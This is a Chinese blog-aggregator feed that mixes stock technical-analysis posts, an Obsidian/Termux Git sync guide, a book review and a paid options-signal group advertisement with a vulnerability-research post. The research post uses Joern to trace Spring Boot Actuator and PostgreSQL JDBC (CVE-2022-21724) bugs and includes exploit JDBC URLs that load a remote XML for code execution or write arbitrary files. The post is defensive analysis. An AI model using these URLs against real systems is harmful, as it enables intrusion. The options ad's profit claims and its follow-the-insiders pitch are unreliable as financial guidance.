另一项关键的观察指标是成交量。通常，突破性的跳空缺口往往出现在成交量开始增加的阶段，这是因为市场参与者开始集中注意力，推动价格上升。相反，如果在价格上升的同时，竭尽缺口的成交量逐渐减少，这通常意味着投资者不愿意追高，市场有反转的可能性。
总结
向上和向下跳空缺口都是市场主力的明确趋势信号。如果在横盘整理区间内突破压力线或跌破支撑线，并在接下来的两至三天内没有被填补，这通常预示着明确的上涨或下跌趋势。此时便是进行买入或卖出交易的理想时机。
另外，在价格出现向上跳空后，如果在高位未能继续创出新高，并伴随成交量的减少，随后以向下跳空方式回落，这种情况形成的最高点价格通常被描述为“岛状反转”。由于岛状反转模式较为罕见，且通常出现在大跌的初期，因此这提供了一个极佳的做空（卖出）机会。
使用缺口的指标的时候还是要先看趋势，趋势是最重要的，先确认好趋势，然后再看缺口，缺口只是一个辅助的指标，不要盲目的跟缺口，要结合其他指标一起使用。
- 博客 程序员的喵 2023-09-19 17:16:22
上周末试着在 Andriod 上配置好了 Obsidian 的客户端，没想到还挺好用。如果你已经买了 Obsidian 的 sync 服务，并且一切用起来都挺好的，那就不用看我这篇介绍了。
我折腾这个的主要的需求是使用私有仓库的 Git repo 来同步日记。为什么不买
Obsidian sync，我认为 Github 更符合我的使用习惯，并且我选择使用 Obisidian 的一个原因就是我不想把笔记数据同步到其他的第三方平台上，相对来说 Github 是我更信任的基础设施，毕竟我已经使用 Github 这么多年了。Andriod 客户端
Obsidian 的安卓客户端好像没有在国内各个安卓软件市场上，你需要用过 Google play 来安装。
Termux
termux/termux-app 是一个 Andriod 上的终端模拟器，也是一个开源软件。基本上你可以把 Andriod 当作一个简化版本的 Linux 服务器来使用，Termux 高级终端安装使用配置教程 是一个很详细的介绍文章。
注意目前 termux 已经不能在 Google Play 上安装了，你需要去 Releases · termux/termux-app 下 apk 安装包来手动安装。
termux 安装好之后就可以在 Andriod 手机上跑一个 Shell，打卡进去之后运行来创建一个叫作
storage的目录：termux-setup-storage接下来安装一些后面需要用到的依赖：
pkg install gitpkg install opensslGit
用
ssh-keygen来生成一对公钥和私钥，把公钥配置到自己的 Github 账户上，然后 clone 你的 Obsidian vault repo：cd storage/sharegit config --global credential.helper storegit config --global user.email "<your_email>"git config --global user.name "<The name you want on your commits>"git config --global pull.rebase true确保能在 Termux 上正确提交改动到 Github 上。如果有一些文件是不想同步到远程的，可以加入到
.git/info/exclude里，比如把.obsidian/workspace-mobile.json忽略了。打开 Obsidian 的客户端，找到刚才 Git clone 的目录，打开作为 vault 即可使用。
定时备份
先安装 Termux 上的 cron 服务：
pkg install cronie termux-services然后退出 Termux 重新打开，运行：
sv-enable crond运行
crontab -e来创建一个定时备份的 job：*/2 * * * * ~/sync_repo.sh每两分钟自动备份一次，我的
sync_repo.sh是这样的：#!/bin/bashcd /data/data/com.termux/files/home/storage/shared/obgit add -A && git commit -a -m "android backup: `date +'%Y-%m-%d %H-%M-%S'`"git pullgit add .git rebase --continuegit push上面的同步脚本很粗暴，如果冲突了我会把冲突一起提交进去，但这也是合理的，因为我需要让自动同步尽量成功，至于冲突可以在笔记本上解决。如果 Termux 进程被杀了，自动备份将无法自动运行。但在我的日常使用过程中，这倒不是一个大问题。
参考：
- 博客 二丫讲梵 2023-09-15 05:48:38如要阅读全文，点击标题跳转。学习周刊-总第124期-Bob的开源版本，以及一个开源的抓包工具
- 博客 Tmr Blog 2023-09-14 11:15:38623
- 博客 小胡子哥的个人网站 2023-09-14 09:11:01如果你要在非中国大陆区下载和体验产品，躲不过的第一个门槛是，你得有对应国家或地区的 App Store 账号，很多年前我在某宝上买了一个美区账号，用了几年之后，突然不可登录了，由于没有及时修改账号绑定的邮箱和手机号码，目前已经无法完成风险验证，相当于这个账号就没了。
- 博客 程序员的喵 2023-09-14 07:55:58
最近读了单伟建的《走出戈壁》，作者是个著名的金融家、投资人。我对这位作者不熟悉，但看完后觉得非常好，所以推荐给大家。
这本书记录了作者从小时候的经历、年轻时的知青生活、美国求学的回忆，算是一部回忆录。原版是用英文写作的《Out of the Gobi: My Story of China and America》，但中文版据说不是直接翻译过来，而是很多部分重新用中文写出。我猜还有一些英文版的内容如果翻译过来，那这本书就不能出版了。
知青下乡的书我看过一些，最早的时候是偶然发现家里有一本叶辛写的《蹉跎岁月》，所以就看了起来。那个年代于我这种 80 后而言很陌生，但小说中人物的某些心理特征对那时候的我来说很熟悉，比如羞涩和自卑等。这本书我后来又陆陆续续看了几遍，里面也有些爱情心理的描述，算是我看得比较投入的第一本小说，所以至今仍然印象深刻。
王小波也写过不少关于知青岁月的文章，那个年代里每个人都背负时代的枷锁，出身和成分很大程度上决定了人的命运，大部分人因为十年的浩劫失去了接受教育的机会。
有些自传和回忆类的书读起来会有点自吹自擂的感觉，而这本书里作者用了一种看似云淡风轻、带着些许幽默的口吻写成，而细节很丰富，阅读中仍会让人感到戈壁凌冽的北风，那样的生活真是太苦了。
一群年轻人被放在了戈壁滩上，总得找事情去让他们去做做，完成自我的”改造“，日常生活就是饥肠辘辘地”修理地球“。里面有不少这类事情，让人很辛苦地去做完而结果看起来没什么意义，比如部队让大家去挖土豆，结果挖出来又没开车去收，大部分又烂在了地里；比如让大家去修土壕，然后无止境地半夜做演习，结果少部分人被埋死在了土壕里。
这样折腾几次之后，大部分人都会“看破红尘”，开始随大流地磨洋工，而作者的心态是”干什么事都要干好，否则闲着也是浪费时间，而且争强好胜，虽然身体瘦弱，但不甘人后，如此而已。“
没什么英文资料可读，就反复看药品说明书里的英文单词。积极认真的工作态度，抓紧时间学习一切东西，因为这些他才能后来被推举成为工农兵大学生。一个让我印象深刻的是他处理人际关系的方法，当遭受到他人的算计时，并未过多抱怨他人，而是认识到这本就是人性中存在的恶，然后从自己的角度去尝试解决这些问题。他开始了一个广结人缘的计划，还能用一些看起来很隐蔽的方法，比如让父亲寄书过来学着当排球裁判，让更多其他连的人认识他。能站在旁观者的视角审视自己和周遭处境，并找到解决办法，这对于一个 20 岁左右的年轻人来说是非常难的。
作者在前两年的大学生推举中仍被刷下去了，大致是因为和领队的关系不够密切。这两次对作者来说是很大的打击，所以抗搓能力非常重要，即使非常难过也得在人面前保持平静：
- 📌 漫无边际地走，一边走，一边放声大哭。
- 📌 那天晚上，我很晚才回到宿舍。我告诫自己，不能放弃，无论受到多大的挫折，都不能放弃，放弃就是对自己的犯罪。我必须坚持下去，继续努力，等待下一次机会。
所以说，那个时代的大学生，不是纯考试的，但能通过群体推举去上大学生，绝对是非常不简单的人。经历过那个年代的苦之后，以后什么学习上的苦都是不足挂齿了。作者上大学之后，学习和成长的速度都是惊人的，10 年间从一个戈壁知青做到了藤校的副教授级别。他到了美国之后在两三周之内就能说服校方和教授，为自己定制了一个特殊的学习路径，并在两年内拿到硕士学位：
- 📌 我承认，美国体制的灵活性对于我来说是如鱼得水。在国内的体制下，当初上大学有如登天，几乎没有自由选择的权利。
- 📌 在最心灰意冷的时候，我反复提醒自己，自我放纵就是对自己的犯罪。基于这个信念，我从未放弃，而是坚持不懈地努力，刻苦读书，才有了今日。
其中的一个感人的故事，教授夫妇发现作者很想拿一个学位而且学习能力强，但是没有足够多的钱来应对学业开销，所以就谎称说有人匿名资助了他，其实就是教授夫妇自己资助了他。我猜想也许是因为作者赶上了新中国第一波留美学习的时机，不少人对他们是有好奇心态的，或者是“自助者天助之”。
还有一个小故事说明作者深谙体制里那套规则，并且做事很有智慧，他是通过基金会的一个留学考察项目去美国的，所以读硕士学位其实并不在计划内的：
后来我明白了为什么亚基会的官员们不热心，他们担心如果为我破例的话会影响基金会与外贸学院的关系。安迪表示，他要给外贸学院的领导写一封信，征求北京的意见。
我说你不能这么写，他问我为什么。我说，如果你征求北京方面的意见，他们就要研究是否批准。只有两个可能——批准或者不予批准。批准了当然好，但是如果不予批准，我怎么办？安迪问我还有更好的办法吗？我说有，你就给北京发个贺电，说我学习成绩优异，校方决定给我奖学金，只需延期一个学期，就可以获得硕士学位，对于这样的成绩，亚基会向外贸学院表示祝贺，其他的都不必说。
安迪将信将疑地接受了我的建议，草拟了一封电报，赞扬了我，把我的成绩归功于外贸学院的领导知人善任，表示祝贺。两周后，安迪打来电话，说外贸学院回电了。“怎么说？”我焦急地问。他停顿了一下，说：“只有四个字——‘非常感谢’。”我心花怒放。
正如我所料，谁能拒绝别人的道贺呢？后来，外贸学院的领导还专门给我写了一封信，对于我在美国的学习成绩表示满意，鼓励我再接再厉，早日拿到学位。
看这本书的过程中，我会想起自己最努力的初中时光。那是我第一次读寄宿，学校的物质条件也很贫乏，每次下完课去吃饭都得百米赛跑，不然自己的饭就会被瓜分掉。另一个深刻的印象是冷，热水也总是需要抢。生活虽然清苦，但那几年我开始感受到学习和思考的乐趣，上自习做到半夜也不觉得累，我当时觉得几何证明题目很有趣，第二天早上五六点又会爬起来去教室里早读。回想起来，我后来再也没那么专心和努力过了。
匮乏和苦难也许真能磨砺人，在那样的大环境下如何生存，在逆境中保持乐观、有所成长，这本书里所描写的是绝大部分人无法做到的。可以修改一下长者那句话：一个人的命运啊，当然要考虑到历史的进程，主要还是靠自我奋斗。
- 博客 小胡子哥的个人网站 2023-09-13 15:28:02如果你注册和使用过 ChatGPT，那你对这篇文章要解决的问题就会深有感触，注册时使用邮箱登录后，OpenAI 会要求你绑定一个手机号码，而这个手机号码不允许是中国大陆区的，很多人都会卡在这一步。
- 博客 forecho 的独立博客 2023-09-11 19:01:00
引言
美股已经炒了 6 年，期权也交易了 3 年多了，今年算是找到了一点门路，通过期权赚了一点钱。
差不多在一个月前我开通了一个期权收费群，目前已经有不少小伙伴加入了，我今天来介绍一下这个群，如果你对期权感兴趣，欢迎加入。
期权收费群
这个群我会每天都分享期权交易的 Idea，这些 Idea 都是我通过一个付费工具再结合自己研究出来的策略严格筛选出来的，通常这些 Idea 我都会实时分享出来的，你可以选择跟或者不跟，你需要自己做决策，我自己也不是 100% 跟单的。
我通常会截图发出来，图长这样：
通常你只需要关注图中顶部的标题和红框的部分就可以了，比如上面这张图就是：
- AAPL PUT
- 182.5 行权价
- 2023-09-08 到期
更多的解释你可以看我这篇文章介绍 - 《像专业人士一样交易期权之如何使用 Optionstrat》。
除了上面的期权 Idea 分享之外，付费群还会提供：
- 会员答疑服务，只要我会的，我都会尽量回答
- 股票买进卖出点位，我会分享我自己的买卖点位，不过这个不是每天都有，因为我不是每天都有买卖的
使用指南
我会在开盘期间分享我看到的期权 Idea，然后你要结合自己的判断选择跟不跟，不要所有信号都无脑跟。我偶尔会再群里分享我的买卖点位（因为开盘期间我要一直盯着股票和期权流，不一定有时间分享操作），但是最重要的是你自己的判断和操作。因为每个人的资金和风险承受能力还有投资风格都不一样，所以大家要自己做决策。
另外有了利润记得要止盈，机会很多，不要怕卖飞。我不建议重仓跟单，因为有概率是失败的，看到方向不对的时候要及时止损。
Tips:
- QQQ、SPY、IWM 的期权可能是对冲
- 英伟达和特斯拉期权很活跃，噪音比较多，很考验操作能力了，能力不行的可以忽略他们的信号
- 重点关注 1 M 以上 PREMIUM 的期权信号
- 关注大盘方向和我分享的 Tradytics 的市场净流量指标，顺着趋势方向做多或者做空。
为什么要收费
首先这个群的工具也是我花钱买的，而且里面还有一些我自己研究的策略，我也是花了很多时间和精力去研究的，所以我觉得这个群是有价值的，所以我才会收费。
如果我提供的信息对你有价值，能帮助你赚到钱，那么我觉得收费是合理的。
如何收费
微信转账就可以，收费规则：
- 试用期 2 星期，收费 200 元人民币，每个新用户都可以试用一次
- 试用期过后，每个月收费 100 美元，按照汇率换算成人民币，每个月 700 元左右
成绩
差不多快一个月试用期结束了，我分享一下我们的成绩吧：
DG PUT
DG 财报大跌，这个被我们提前抓到了，有群友跟单赚了几千刀。用我的策略赌财报非常爽，上个月我自己抓到好几个 3 倍的，以小博大。
AAPL PUT
AAPL 大跌前的一天，我们提前抓到了，这个隔天有 5 倍的收益。
VFS PUT
隔天 VFS 跌了 26%。
等等。
我的策略其实很简单，我认为这个市场上总有人提前知道点什么，我们要做的就是发现他们，并且跟随他们。
风险提示
想加入付费群的朋友最好有一定的期权基础知识，至少能看懂期权的基本含义，知道是看涨还是看跌。不懂期权的朋友可以看我写的期权教程，期权有风险，入群前请自行评估自己的风险承受能力。
不玩期权的朋友也可以根据我发出来的 Idea 去交易对应的股票。
我也不能保证我分享出来的是 100% 赚钱，但是总体下来胜率还是很高的。所以我也不建议大家重仓跟单（我通常也是每次买一两张），要有风险意识，我们要的是以小博大，不要贪心。
另外需要说明的是通常这些 Idea 一般都出现在后半夜，对于国内交易期权的朋友来说，可能不太方便，这个需要自己评估。
免责声明
付费群的交易 Idea 都是我自己的观点，不构成任何投资建议，投资需要自己做决策，自己承担风险。
总结
一句话总结就是我创建了一个付费群，目的是为了分享期权交易的 Idea，如果你对此很感兴趣可以低价试用一个月，试用期结束你觉得我分享的信息对你有价值，能帮助你赚到钱，欢迎正式加入。
想加入的朋友微信搜索
ipzone，加我好友，备注期权收费群，我拉你进群。 - 博客 小胡子哥的个人网站 2023-09-10 20:06:00有人问我，怎么把散落在各个平台的「宝藏」信息给聚合起来，放到一块儿关注，我来提供一点工具和线索。
- 博客 二丫讲梵 2023-09-10 07:18:29如要阅读全文，点击标题跳转。Jenkins-pipeline之利用activity choice插件对接查询MySQL数据实现动态参数化的功能
- 博客 二丫讲梵 2023-09-08 16:27:58如要阅读全文，点击标题跳转。学习周刊-总第123期-🔎 使用关键字搜索所有gitlab项目,并将结果输出为Excel
- 博客 Tmr Blog 2023-09-08 11:16:21631
- 博客 二丫讲梵 2023-09-08 07:28:25如要阅读全文，点击标题跳转。在流水线的构建过程中，免不了会有逻辑判断的地方，通常我们可以使用 when，if 来编写判断的语句，但是当需要判断的分支大于两个的时候，就不再推荐使用如上两种方式了。
- 博客 二丫讲梵 2023-09-08 07:18:46如要阅读全文，点击标题跳转。使用关键字搜索所有gitlab项目,并将结果输出为Excel
- 博客 forecho 的独立博客 2023-09-06 19:30:00
引言
布林通道（BOLL）是由美国经济学家约翰·布林格（John Bollinger）结合了均线和统计学的标准差提出的概念。这一指标可以帮助投资者理解价格的相对高低以及价格的波动性，从而做出更明智的投资决策。
什么是布林通道
布林通道是移动平均线和标准差的概念，以 MA20 为中轴线，上下各偏离 2 个标准差的距离，形成一个通道。布林通道由三条轨道线组成：
- 上轨线 = MA20 + 2 * 标准差
- 中轨线 = MA20
- 下轨线 = MA20 - 2 * 标准差
PS: 这里的标准差是统计学中的一个概念，核心思想就是大多数股价涨到一定的高度就会回落，跌到一定的低度就会反弹，这个高度和低度就是标准差。
布林线的理论基础
布林线的设计原理是股价通常总是围绕着某个中轴在一定的范围内波动，通过对股价的统计分析，可以得出股价的标准差，从而确定股价的波动范围，形成一个带状区间，股价通常在这个带状区间内波动。
带状区间的宽窄也会随着股价的波动幅度而变化：
- 当股价波动剧烈时，带状区间变宽，就像开口一样
- 当股价波动平稳时，带状区间变窄，就像闭口一样
布林线的应用
布林线主要是找支撑和阻力的，通常来讲（有 95.4% 的可能性）：
- 下轨线对股价有支撑作用：即使跌破了通常也不会离得很远，而且通常很快会反弹
- 上轨线对股价有阻力作用：碰到上轨道不一定会下来，我们要识别回落的信号，如果股价碰到上轨道后，是一根绿色的放量 K 线，那么有很大概率会回落
- 中轨线既有支撑作用，也有阻力作用
抢反弹
- 买入：当股价跌破下轨线时，并且出现红 K 的时候可以抢反弹，可以以中轨线为目标，行情好的时候也可以以上轨线为目标
- 卖出：当股价突破中轨道或者上轨道时，如果遇到绿 K 线，并且股价跌破昨天的最低点，那么就要卖出，没跌破的话，可以继续持有
回落买入
使用布林通道之前，我们需要先确定股票的趋势，如果是上涨趋势，那么我们就可以使用回落买入的策略。
长线策略
布林通道也适合做长线策略，有些股票很强势，碰到中轨线之后就立马反弹，这种股票可以长线持有，直到股价跌破中轨线为止。
横盘突破
股价横盘的布林通道接近平行，当股价有突破的趋势，布林线就会打开，这预示着大机会来临，可以买入。
总结
布林通道是一个很好的技术指标，它能帮你找到支撑和阻力，但是在使用之前还是要确认股票的趋势，趋势是最重要的，布林通道只是一个辅助指标。
另外在使用布林通道的时候一定需要结合其他指标一起使用，比如 MACD、KDJ、RSI 等等。
- 博客 小胡子哥的个人网站 2023-09-06 10:07:00最近看到好多人推荐开通新加坡华侨银行 OCBC，这是我目前为止看到唯一一个，使用全部大陆身份信息就可以安全开通且没啥后顾之忧的境外银行卡，之前尝试开通 Wise，获得了一张英国 Visa 卡，但没有英国境外地址一直让我担忧被风控，而 ZA Bank 需要肉身去香港才能开通，因为它要求你提供出境记录，而且本质还是一张虚拟卡。
- 博客 二丫讲梵 2023-09-01 17:36:21如要阅读全文，点击标题跳转。学习周刊-总第122期-一个指导我们构建自己喜欢的技术的开源知识仓库
- 博客 LoRexxar's Blog 2023-08-31 17:06:53
这个系列会记录我用Joern复现真实漏洞的一些过程，同样也是对Joern的深入探索。
这里我选用Java-sec-code的范例代码做第一部分，这篇文章记录了两个比较经典的漏洞
- Springboot Acutators导致命令执行
- postgreSQL jdbc反序列化漏洞(CVE-2022-21724)
Joern分析Java代码可以选择用代码文件夹也可以选择直接分析jar包
1
importCode("../../java-sec-code/target/java-sec-code-1.0.0.jar")
Springboot Acutators配置问题
- https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE#reference
- https://github.com/LandGrey/SpringBootVulExploit#0x01%E8%B7%AF%E7%94%B1%E5%9C%B0%E5%9D%80%E5%8F%8A%E6%8E%A5%E5%8F%A3%E8%B0%83%E7%94%A8%E8%AF%A6%E6%83%85%E6%B3%84%E6%BC%8F
- https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
SpringBoot Actuator是SpringBoot内置的一个监控管理插件。只要引用组件就会开启对应的功能
1
2
3
4
5
6
7
8
9<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>开启后SpringBoot 1.x起始路径为
/，2.x的起始路径为/actuator暴露路由本身不能算太大的安全问题，只能说配置不当可能导致信息泄露，可以参spring-boot.txt。
Actuator的接口配合一些组件就可能导致RCE，但防御的方法大多都是对Actuator做鉴权限制。
- Actuators + jolokia
1
2
3
4
5
6<!-- SpringBoot Actuator命令执行的库 -->
<dependency>
<groupId>org.jolokia</groupId>
<artifactId>jolokia-core</artifactId>
<version>1.6.0</version>
</dependency>配合jolokia的接口可以实现jndi注入导致RCE
- Actuators + Spring Cloud
- https://www.freebuf.com/column/234719.html
1
2
3
4
5<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
<version>1.4.0.RELEASE</version>
</dependency>首先组件上引用eureka才行，并且Eureka-Client <1.8.7（多见于Spring Cloud Netflix）
其次需要Application要有
@EnableEurekaClient注解1
2
3
4
5
6
7
8
9
10
11import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.netflix.eureka.EnableEurekaClient;
@SpringBootApplication
@EnableEurekaClient
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}for Joern
我首先遇到的问题就是，这个漏洞其实配置问题大于其他问题，我研究了很久认为这个问题在Joern中是不可解的。
一方面Acutators开启只需要组件引用即可，另一方面比较常见的修复手段是增加鉴权，加入鉴权组件并开启配置
1
2
3
4
5
6
7
8
9
10# pom.xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
# for application.properties
management.security.enabled=true
security.user.name=admin
security.user.password=admin哪怕不是用这个鉴权组件但也大同小异，关闭敏感端点之类的。
而问题回到Joern上，Joern虽然定义了ConfigFile节点，但并没有读取所有的配置文件，包括pom.xml。或者说pom.xml在Joern眼中不算是个配置文件。
即便是读取了application.properties这个文件，但ConfigFile节点只有文件内容，并没有对所有的配置做分析转化。而且有时候configFile就是完全空的，也不知道问题在哪。
这个处理方式虽然很奇怪但也算能理解，Joern作为一个静态分析代码的框架，他的理念就是把上层和下层做拆分，下层只需要把代码转成CPG，上层只需要在CPG上做数据分析。
对于Joern来说，上层和下层没有直通渠道，非代码层面的信息则会被忽略掉，而专注于代码层面，这是Joern的设计理念，但同样是Joern的局限性。
- 一方面由于没有pom.xml的数据，所以无法判断Acutators是否开启，且无法判断版本。
- 从SpringBoot 2.X开始，端点默认只暴露health和info，需要从配置文件里获取开启的端点，不一定能读到这个配置文件内容
- Acutators这个问题核心其实是不能未授权+向公网暴露，而这个鉴权配置也是从配置文件里读到的
1
cpg.configFile.name(".*application.properties").where(_.content(".*management.security.enabled=false.*")).l
- Acutators暴露的实际影响其实和依赖的组件有关系，比如配合eureka才有xtream反序列漏洞，而没有依赖组件数据，所以也无从判断。
postgreSQL jdbc反序列化漏洞(CVE-2022-21724)
1
29.4.1208 <= org.postgresql.postgresql < 42.2.25
42.3.0 <= org.postgresql.postgresql < 42.3.2当PostgreSQL的jdbc url属性可控时，可以通过
authenticationPluginClassName、sslhostnameverifier、socketFactory、sslfactory、sslpasswordcallback连接属性提供类名实例化插件实例。- 漏洞代码
1
2
3
4
5
6
7@RequestMapping("/postgresql")
public void postgresql(String jdbcUrlBase64) throws Exception{
byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
String jdbcUrl = new String(b);
log.info(jdbcUrl);
DriverManager.getConnection(jdbcUrl);
}其实漏洞点的Joern的公式特别简单，说白了就是只要jdbc的连接链接可控就行了。
1
2
3def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter
def sink = cpg.call.name("getConnection")直接寻找source和sink之间的数据流
1
sink.reachableByFlows(source).p
可以发现我们找到了包括目标在内的5条数据流，这里的第一个问题是，我们没法确定jdbc是否支持postgreSQL来作为数据库。
在确定了入口可控之后，理论上配合组件版本其实我们就可以判断代码中是否存在该问题了，但我们并没有这个数据。
for PostgreSQL code
当然在静态分析的层面，我们需要从代码的角度验证漏洞存在，我们遇到的第二个问题自然是利用链的问题，所以我们需要直接去分析postgresql的组件代码。
1
importCode("D:/program/java_pro/postgresql-42.3.1.jar", "postgresql")
当我们可控jdbc的连接的时候，我们就可以通过构造类似的请求来调用不同类的方法来实现我们想要的结果。
1
2
3
4
5
6
7
8
9
10
11# 命令执行
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://test.joychou.org/1.xml
# 配合FileOutputStream操作文件
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt
# sslfactory&sslfactroyarg，任意代码执行
jdbc:postgresql://127.0.0.1:5432/test/?sslfactory=org.spring.framework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://test.joychou.org/1.xml
# loggerLevel&loggerFile，任意文件写
jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=debug&loggerFile=test.txt&test这里具体的利用链我们就不重复讲了，可以直接参考上面的链接，重要的是我们怎么在joern中复现这个问题。
我们拿第一个漏洞socketFactory&socketFactoryArg的利用链作为目标来看看
从getConnection方法处，jdbc会根据不同的请求分发至不同的组件。
从connect方法一路跟进org.postgresql的代码当中，链接之后的参数会被拆解为字典然后分别进入不同的配置中，也就是说等于到url这里我们就是可控的，也就是作为source，进到包里的这个入口是connect方法
1
def source = cpg.method.name("connect")
最终导致漏洞的核心点则是可控的newInstance
所以我们假定调用方法newInstance是sink点，可以用caller获取调用该方法的地方，也是可以读到我们目标类方法的。
1
def sink = cpg.method.name("newInstance")
到这里我们会遇到一个比较大的问题，当我们试图用简单的reachableByFlows时，会无法获取到结果。
但如果我们手动去一步一步拆解caller，发现是可以一路跟到source节点的。
1
cpg.method.name("newInstance").repeat(_.caller)(_.maxDepth(10)).name("connect").fullName.dedup.l
repeat这个语法问题相当多，如果用repeat…until…这个语法，很大概率会卡死，几乎跑realworld代码没有不卡死的，所以我改用了限制maxDepth+条件判断的方式来查询，还算可以解决。
当然这样只能拿到最终的节点，我们可以用一个文档里没写的overflowdb语法enablePathTracking来展示调用链，这部分内容我是从@Lightless的博客偷来的。
1
cpg.method.name("newInstance").enablePathTracking.repeat(_.caller)(_.maxDepth(10)).name("connect").path.map(path=>path.filter(n=>n.isInstanceOf[Method]).map(n=>{val nn = n.asInstanceOf[Method];nn.fullName})).dedup.l
当然，由于enablePathTracking的表现力很差，所以我们也可以用自己实现一套repeat，来解决重复调用等各种问题，这个代码同样来自于@LightLess。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45def findUntil(initStep: Traversal[Method], stopStep: Traversal[Method], maxIdx: Int) : List[Vector[Method]] = {
var nextBuffer: List[Vector[Method]] = List()
var finalResult: List[Vector[Method]] = List()
var results: List[Vector[Method]] = List()
val stopList = stopStep.l
val stopIdList = stopList.map(n => n.id).l
println("stopList.size:" + stopList.size)
println("stopIdList: " + stopIdList)
for (idx <- 1 to maxIdx) {
// 第一次查找，使用初始条件作为起始
if (idx == 1) {
for (it <- initStep) {
finalResult = finalResult :+ Vector(it)
}
}
// 处理 finalResult 中的每一条路径，取每条 path 的最后一项调用 caller
for (eachPath <- finalResult) {
var eachPathIdList = eachPath.filter(n => n.isInstanceOf[Method]).map(n => {
n.asInstanceOf[Method].id
}).l
var newNodes = eachPath.last.asInstanceOf[Method].caller.dedup
for (newNode <- newNodes) {
// 检查 newPath 是否存在环，如果存在，则跳过，如果不存在，加到结果列表中
if (!eachPathIdList.contains(newNode.id)) {
val newPath = eachPath :+ newNode
nextBuffer = nextBuffer :+ newPath
// 检查是否满足终结条件，如果满足，就加到resutls里
if (stopIdList.contains(newNode.id)) {
results = results :+ newPath
}
}
}
}
// 所有的路径都处理完了，结果放在 nextBuffer 中
finalResult = nextBuffer
nextBuffer = List()
}
return results
}这个findUntil实现了repeat…untail…times的功能，而且也做了一定的去重和优化
1
2
3
4def sink = cpg.method.name("newInstance")
def source = cpg.method.name("connect")
findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l
虽然这里的函数调用链是正确的，但这里面有个很大的区别就是，通过repeat获取的节点非常粗暴，并不一定是成数据流。
拿下面这段代码举例子，理论上来说数据流分析应该从ctor开始一点一点往上，一直找到classname参数，然后再到方法instantiate，但如果直接用caller会直接获取到instantiate方法，也就是直接到父节点。
但事实上如果数据流追不到参数，实际上是数据流是不通的，这种方式太粗暴，有效度也不会太高。连数据流分析的层面都到不了，更别谈过程间分析了。
最关键的是，仔细研究后感觉这部分在joern中坑相当大，说白了就是Joern的CPG结构中其实没有这种执行流概念，节点之间链接只有AST指向，边的特性也没有明确的显示。
用比较通俗的话讲，就是CPG更强调调用关系，就比如调用NewInstance方法的位置属于方法Instantiate的子节点，而具体到代码块执行流程，则只是简单的AST指向关系，除了有向边以外，也没有显示这种指向关系的特殊性。
这方面的问题需要再花时间研究一下，这篇文章先不深入去讲。后面专门写文章研究这部分。
其他利用链
我们仿照第一个利用链的语法，直接模拟一下其他几个利用链的挖掘方式
- 任意代码执行 sslfactory/sslfactoryarg
1
2# sslfactory&sslfactroyarg，任意代码执行
jdbc:postgresql://127.0.0.1:5432/test/?sslfactory=org.spring.framework.context.support.ClassPathXmlApplicationContext&sslfactoryarg=http://test.joychou.org/1.xml对应的利用链其实和上一个是一样的，入口都是connect，漏洞点都是newinstance，这条利用链用上面的代码就可以查询到
1
2
3
4def sink = cpg.method.name("newInstance")
def source = cpg.method.name("connect")
findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l
- 任意文件写入 loggerLevel/loggerFile
1
2# loggerLevel&loggerFile，任意文件写
jdbc:postgresql://127.0.0.1:5432/test?loggerLevel=debug&loggerFile=test.txt&test这个漏洞的利用链相对特殊，其实是利用了logger本身的功能，通过配置log写入的文件来实现任意文件写
这里类初始化的操作在joern被标记为
，所以sink为 1
cpg.method.where(_.name("<init>")).where(_.fullName(".*FileHandler.*"))
这样我们再次追利用链
1
2
3
4def sink = cpg.method.where(_.name("<init>")).where(_.fullName(".*FileHandler.*"))
def source = cpg.method.name("connect")
findUntil(sink, source, 10).map(path => path.map(node => (node.fullName))).dedup.l
完善利用链
在找到可控的**newInstance位置**之后，我们还需要继续完善利用链的最后一步。
根据我们刚才找到的漏洞位置，我们需要找到一个对应的构造方法参数为一个String的类来做进一步利用。
在Joern中可以通过寻找构造函数的关键字，再限制方法的返回类型来寻找这样的类.
1
cpg.method.where(_.isConstructor).whereNot(_.typeDecl.isAbstract).fullName(".*:void\\(java.lang.String\\).*").fullName.l
当然这里找到的类是不全的，这里的问题和前面类似。Joern不会解jar包里的jar包，所以无法跟进去分析整个项目的依赖，自然也就没办法找到完整的利用点，这里不赘述了
修复
这个漏洞的修复也相当粗暴，在我们找到的最终执行命令的初始化任意类的地方，新版本直接指定获取的类名必须是指定类的子类，直接限制了后续的利用条件
- 博客 轶哥博客 2023-08-28 21:24:45<>由于工作需要，长期以来我都是iPhoe作为主力机，安卓作为备用机。经常出现iPhoe在充电的时候需要接收验证码。为了实现备用机和主力机一致的功能体验，特地让AI帮我写了一个APP实现“iPhoe短信自动转发到Adroid手机”。<>众所周知，Adroid手机APP是可以可以申请读取短信内容权限的，实现Adroid短信自动转发或者自动识别验证码是比较容易的。但是目前为止，我并没有发现市面上存在IOS应用程序可以实现读取短信的。真的没有办法实现读取短信内容吗？带着疑问我让AI帮忙翻阅了Ale开发者文档，最后发现其实是可以实现这个功能的。
- 博客 二丫讲梵 2023-08-25 17:14:50如要阅读全文，点击标题跳转。学习周刊-总第121期-Obsidian一些同步方案的介绍
